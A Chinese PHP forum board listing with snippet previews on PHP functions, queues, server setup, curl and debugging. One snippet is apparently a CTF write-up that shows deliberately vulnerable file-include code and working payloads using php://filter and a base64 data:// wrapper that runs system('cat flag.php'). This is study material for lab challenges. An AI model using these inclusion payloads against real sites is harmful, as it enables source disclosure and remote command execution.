PHP
72个主题在此版块
-
- 0 篇回复
- 102 次查看
必须为整数 int类型 创建一个包含从 "0" 到 "5" 之间的元素的数组: <?php $number = range(0,5); print_r ($number); ?> 返回一个包含从 "0" 到 "50" 之间并以 10 递增的元素的数组: <?php $number = range(0,50,10); print_r ($number); ?>
KaiWn的最后回复, -
- 0 篇回复
- 108 次查看
安装thinkphp-queue composer install topthink/think-queue win10安装redis redis下载地址:点我去下载 找到相应的msi文件下载安装即可 php安装redis扩展 redis扩展下载地址:点我去下载 需要注意选择相应的VC扩展包,同时php.ini开启redis扩展 app\index\controller\Demo.php <?php namespace app\index\controller; use think\facade\Queue; class Demo{ public function index() { //当前任务将由哪个类来负责处理。 //当轮到该任务时,系统将生成一个该类的实例,并默认调用其 fire 方法 $jobHandlerClassName = 'app\task\job\Order'; //当前任务归属的队列名称,如果为新队列,会自动创建 //php think queue:work --queue orderJobQueue //php think queue:work --queue orderJobQueue --daemon $jobQueueName = "orderJobQueu…
KaiWn的最后回复, -
- 0 篇回复
- 93 次查看
文件夹数据库处理逻辑 public class DbFolder { JSONObject root; public DbFolder() { this.root = new JSONObject(); this.root.put("f_id", ""); this.root.put("f_nameLoc", "根目录"); this.root.put("f_pid", ""); this.root.put("f_pidRoot", ""); } /** * 将JSONArray转换成map * @param folders * @return */ public Map<String, JSONObject> toDic(JSONArray folders) { Map<String, JSONObject> dt = new HashMap<String, JSONObject>(); for(int i = 0 , l = folders.size();i<…
KaiWn的最后回复, -
- 0 篇回复
- 114 次查看
PHP伪协议总结 - SegmentFault 思否 WEB78 无防护读取源码 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 伪协议读取后base64解密 payload:?file=php://filter/convert.base64-encode/resource=flag.php web79 data协议 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 过滤了php,php到是可以用大写绕过,但是文件名flag.php中的php不能大小写,所以用cat这一类的函数,也可以直接base64绕过php ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php')…
KaiWn的最后回复, -
- 0 篇回复
- 104 次查看
python中实现 wsgi 的工具一般是 gunicorn 类似于php 中 处理 php 请求的php-fpm nginx <-> gunicorn <-> web_app(flask,django) 对比参考: https://www.yanxurui.cc/posts/server/2017-07-12-php-vs-python-in-deployment-and-performance/ wsgi 以及其他相关区别 https://blog.csdn.net/weixin_45455015/article/details/100113330
KaiWn的最后回复, -
- 0 篇回复
- 115 次查看
/** * 16进制转string拼接 * @param array $bytes [description] * @return [type] [description] * @author Lerko * @dateTime 2018-01-25T10:18:31+0800 */ public function encodeHexString(array $bytes) { $LOWER = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; $length = count($bytes); $charArr = []; foreach ($bytes as $value) { $value = intval($value); $charArr[] = $LOWER[$this->uright(0xF0 & $value, 4)]; $charArr[] = $LOWER[0x0F & $value]; } return implode("", $charArr); } /*…
KaiWn的最后回复, -
目录 安装httpd 安装mysql 安装php 安装httpd 下载依赖包 [root@localhost yum.repos.d]# yum -y install openssl-devel pcre-devel expat-devel libtool gcc gcc-c++ Last metadata expiration check: 0:00:52 ago on Tue 02 Aug 2022 08:28:45 PM CST. Dependencies resolved. Package Arch Version Repo Size Installing: expat-devel x86_64 2.2.5-4.el8 base 55 k gcc x86_64 8.5.0-4.el8_5 AppStream 23 M gcc-c++ x86_64 8.5.0-4.el8_5 AppStream 12 M libtool x86_64 2.4.6-25.el8 AppStream 709 k open…
KaiWn的最后回复, -
- 0 篇回复
- 107 次查看
php中怎么使用fsockopen实现异步请求,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。 php执行一段程序,有可能几毫秒就执行完毕,也有可能耗时较长。 例如,用户下单这个事件,如果调用了些第三方服务进行发邮件、短信、推送等通知,可能导致前端一直在等待。 而有的时候,我们并不关心这些耗时脚本的返回结果,只要执行就行了。这时候就需要采用异步的方式执行。 众所周知,PHP没有直接支持多线程这种东西。我们可以采用折衷的方式实现。这里主要说的就是fsockopen。 通过fsockopen发送请求并忽略返回结果,程序可以马上返回。 示例代码: $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET /backend.php HTTP/1.1\r\n"; $out .= "Host: www.example.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); /*忽略执行结果 while (!feof($fp)) { echo fgets($fp, 12…
KaiWn的最后回复, -
1. show_source(filename,return) #show_source() 函数对文件进行语法高亮显示。输出或返回包含在 filename 中的代码的语法高亮版本 2. empty() #函数用于检查一个变量是否为空 3. trim(string,charlist) #trim() 函数移除字符串两侧的空白字符或其他预定义字符。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格 4. stripslashes() #stripslashes() 函数删除…
KaiWn的最后回复, -
- 0 篇回复
- 103 次查看
mysql简介 MySQL是一个关系型数据库管理系统,由瑞典MySQLAB公司开发,目前属于Oracle公司。 MySQL是一种关联数据库管理系统,将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。 Mysql是开源的,所以你不需要支付额外的费用。 Mysql支持大型的数据库。可以处理拥有上千万条记录的大型数据库。MySQL使用标准的SQL数据语言形式。 Mysql可以允许于多个系统上,并且支持多种语言。这些编程语言包括C、C++、Python、Java、Perl、PHP、Eiffel、Ruby和Tcl等。 Mysql对PHP有很好的支持,PHP是目前最流行的Web开发语言。 MySQL支持大型数据库,支持5000万条记录的数据仓库,32位系统表文件最大可支持4GB,64位系统支持最大的表文件为8TB。Mysql是可以定制的,采用了GPL协议,你可以修改源码来开发自己的Mysql系统。
KaiWn的最后回复, -
- 0 篇回复
- 97 次查看
1.先定义一个数组 $data[] = array('volume' => 67, 'asd'=>'b','edition' => 2); $data[] = array('volume' => 86,'cc'=>'b', 'edition' => 1); $data[] = array('volume' => 85, 'edition' => 6,'test'=>'b'); $data[] = array('eq'=>'b','volume' => 98, 'edition' => 2); $data[] = array('volume' => 86, 'edition' => 3,'jr'=>'b'); $data[] = array('wt'=>'b','volume' => 67, 'edition' => 7); 2.获取要排序的字段 $edit = array_column($data,'edition'); 3.先进行列排序,然后让$data数组按该字段来排序。 array_multisort($edit,SORT_DESC,$data); 4.此时$data就按 edition 字段倒序的方式来排序了!! 5.如果还有其他排序条件,则往函数后添加,最后再填写$data。 和mysql order相似,参数的字段越…
KaiWn的最后回复, -
- 0 篇回复
- 108 次查看
首先我的server环境是在3A网络租的服务器,他们的延迟很低,用起来比较舒服 1.打开“服务器管理器”-添加角色和功能- 确保CGI安装,其他的看个人需求 然后就下一步-开始安装 安装好之后,打开浏览器访问127.0.0.1 表示已经成功 2.安装Visual C++ Redistributable for Visual Studio 2012 Update 4(x64) 另一个同理 3. 安装并解压php-5.5.8-nts-Win32-VC11-x86.zip 解压后移动到c盘根目录 打开C:\php 复制php.ini-production为php.ini 用记事本打开php.ini 做如下修改: extension_dir = "C:\php\ext" #设置php模块路径 date.timezone = PRC #设置时区为中国时区 re…
KaiWn的最后回复, -
- 0 篇回复
- 106 次查看
1. composer 安装 PDF组件 composer require setasign/fpdi composer require setasign/fpdf 两个组件都需要安装,有依赖关系 2. 使用 <?php try { $fpdi = new Fpdi(); // 设置待处理PDF文件,并且方法返回PDF总计页数 $pagecount1 = $fpdi->setSourceFile("C:\Users\83553\Desktop\pdf\员工保密协议(2).pdf"); for ($i=1;$i<=$pagecount1;$i++) { // 增加新的空白PDF页面 $fpdi->AddPage(); // 导入页面 $tplId = $fpdi->importPage($i); // 填充页面 $fpdi->useTemplate($tplId); } // 以下同理,因为多个PDF文件,所以多次,需要合并的PDF文件过程,可以使用循环,次示例仅供参考(示例可跑通) $pagecount2 …
KaiWn的最后回复, -
- 0 篇回复
- 94 次查看
一般情况下我们的网页代码集采用utf-8,php返回的错误信息的中文编码是GBK,就会导致无法正确显示中文的问题,这是我们可以用mb_convert_encoding($原字符串, "目标便编码","原编码")将返回信息的编码变成utf-8,这样就可以正常显示中文了。 1 <?php 2 header("Content-type: text/html; charset=utf-8"); 3 4 $db_host='localhost33'; 5 $db_user='root'; 6 $db_pass='root'; 7 $db_name='test'; 8 $db_table='keji'; 9 if(!$link=mysqli_connect($db_host,$db_user,$db_pass)){ 10 11 $contents = mb_convert_encoding(mysqli_connect_error(),"utf-8","gbk"); 12 echo '错误:'. $contents; 13 exit(); 14 } 15 16 var_dump($link); 17 18 if(!mysqli_connect($link,$db_name)){ 19 echo "打开{$db_name}失败!"; 20 exit(); 21 } 22 // $sql='select * from keji;' 23 mysqli_close(…
KaiWn的最后回复, -
前言:我在宝塔上传了php文件,在浏览器输入www.yyy.com/index.php,回车,报错。 具体报错: Service Unavailable The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later. Apache Server at www.yyy.com Port 443 服务不可用 由于维护停机或容量问题,服务器暂时无法满足您的请求。请稍后再试。 Apache服务器位于www.yyy。com端口443 原因推测:服务器资源被占满或者是服务器太渣了运行不起来php 解决方案: 1、检查是否存在硬盘容量已满的情况,如有就处理硬盘,然后就重启服务器(来自百度的方案,我不是这样的,我的服务器硬盘占用资源极少); 2、直接重启服务器,我先是在宝塔中重启服务器,然并卵x1,我又跑去百度智能云管理后台去重启,然并卵x2; 我就纳了闷了,Apache和PHP正常启用,域名也已备案,而且就是不能访问.php文件,其他诸如.txt文本可以访问 直至我刷到了一篇文章才知道问题出在哪: 原因:我在宝塔建立的站点设置成了伪静态,而没有选择php版本,从而不能运行php文件。 解决方案:在宝塔…
KaiWn的最后回复, -
- 0 篇回复
- 106 次查看
很多时候,线上服务器的进程在某时间段内长时间占用CPU过高,为了优化,我们需要找出原因。 1、找出占用CPU最高的10个进程 ps aux | sort -k3nr | head -n 10 或查看占用内存最高的10个进程 ps aux | sort -k4nr | head -n 10 或者使用 top ,按 1 显示CPU列表,再按 shift+p 以CPU排序 top 2、对进程进行跟踪查看 查看进程打开的文件 lsof -p 进程PID 查看进程在处理的文件 ll /proc/进程PID/fd 查看进程的内存使用情况 pmap 进程PID 通过strace来跟踪进程的系统调用 strace -p 进程PID 当然我们也可以查看汇总的信息 strace -cp 进程PID 如果我们想跟踪某进程所有的系统调用,并统计调用时间,并导出为文件,可用如下命令 strace -o 导出文件 -T -tt -e trace=all -p 进程PID 3、查找php-fpm占用过高的原因 我们可以配置php-fpm的慢日志,查找是哪些文件导致php-fpm占用过高。 先找到php-fpm.conf文件位置 ps -ef|grep php 修改php-fpm.conf,并打开日志选项 ;错误日志 error_log = log/…
KaiWn的最后回复, -
- 0 篇回复
- 95 次查看
1、在php的安装目录中找到php.ini(如果安装环境时没改的话是php.ini-development); 2、打开php.ini,在里面搜索extension=php_curl.dll,如果这行前面有分号,请删除分号开启该扩展; 3、在同一目录下找到libeay32.dll,libssh2.dll,ssleay32.dll这三个文件,复制粘贴到apache的bin目录下; 4、重启apache即可。 亲测有效~(当时没有libssh2.dll这个文件,拷贝的是libsasl.dll)
KaiWn的最后回复, -
- 0 篇回复
- 126 次查看
本教程仅适用Windows Servier IIS网站服务器。 我的博客使用IIS搭建,相比Linux,相关的教程格外少。因此让以后的小伙伴也能马上解决问题,分享此方法。 首先需要下载php对应版本的imagick 扩展:https://pecl.php.net/package/imagick 这里我选择版本较新的3.4.4 stable稳定版,我的PHP版是7.4.10 下载完成后将压缩包解压到你的服务器上,并将路径添加到系统环境变量中。注意路径中不要带有中文、空格、除下划线外的标点符号,确保路径正确。 复制解压的imagick根目录中的 php_imagick.dll 粘贴到PHP配置环境下的扩展目录 ext 文件夹下,将根目录中其余文件复制粘贴到php根目录下。 最后php.ini配置文件中添加 extension=php_imagick.dll 重启IIS即可生效。 使用php –ri imagick查看扩展对应的imagick的软件版本,注意如果不安装对应版本会产生未知错误。 我这里显示的是ImageMagick 7.0.7-11 Q16 x64 2017-11-23 对应版本下载地址:http://ftp.icm.edu.pl/packages/ImageMagick/binaries/ImageMagick-7.0.7-11-Q16-x64-dll.exe 网上…
KaiWn的最后回复, -
- 0 篇回复
- 94 次查看
RabbitMq简介 1.1消息队列中间件简介 消息队列中间件是分布式系统中重要的组件,主要解决应用耦合,异步消息,流量削锋等问题实现高性能,高可用,可伸缩和最终一致性[架构] 使用较多的消息队列有 ActiveMQ(安全),RabbitMQ,ZeroMQ,Kafka(大数据),MetaMQ,RocketMQ 以下介绍消息队列在实际应用中常用的使用场景:异步处理,应用解耦,流量削锋和消息通讯四个场景 1.2什么是RabbitMQ RabbitMQ 是一个由 Erlang 语言开发的 AMQP 的开源实现。 AMQP :Advanced Message Queue,高级消息队列协议。它是应用层协议的一个开放标准,为面向消息的中间件设计,基于此协议的客户端与消息中间件可传递消息,并不受产品、开发语言等条件的限制。 RabbitMQ 最初起源于金融系统,用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗。具体特点包括: 1.可靠性(Reliability) RabbitMQ 使用一些机制来保证可靠性,如持久化、传输确认、发布确认。2.灵活的路由(Flexible Routing) 在消息进入队列之前,通过 Exchange 来路由消息的。对于典型的路由功能,RabbitMQ已经提供了一些内置的 Exchange 来实现。针对更复杂的路由功能,可以将多个Exchange 绑定在一起,也通过插件机制实现自己的 Exchange 。 2.消息集群(Clustering…
KaiWn的最后回复, -
- 0 篇回复
- 98 次查看
php curl 发送请求失败问题 前提:运行在命令行模式中(没有超时设置) 多次调用curl ,可能出现发送请求失败的问题, 原因可以是curl连接复用,使用的是缓存池中的建立。 解决方法:设置curl 参数, curl_setopt($ch, CURLOPT_FORBID_REUSE, 1); curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
KaiWn的最后回复,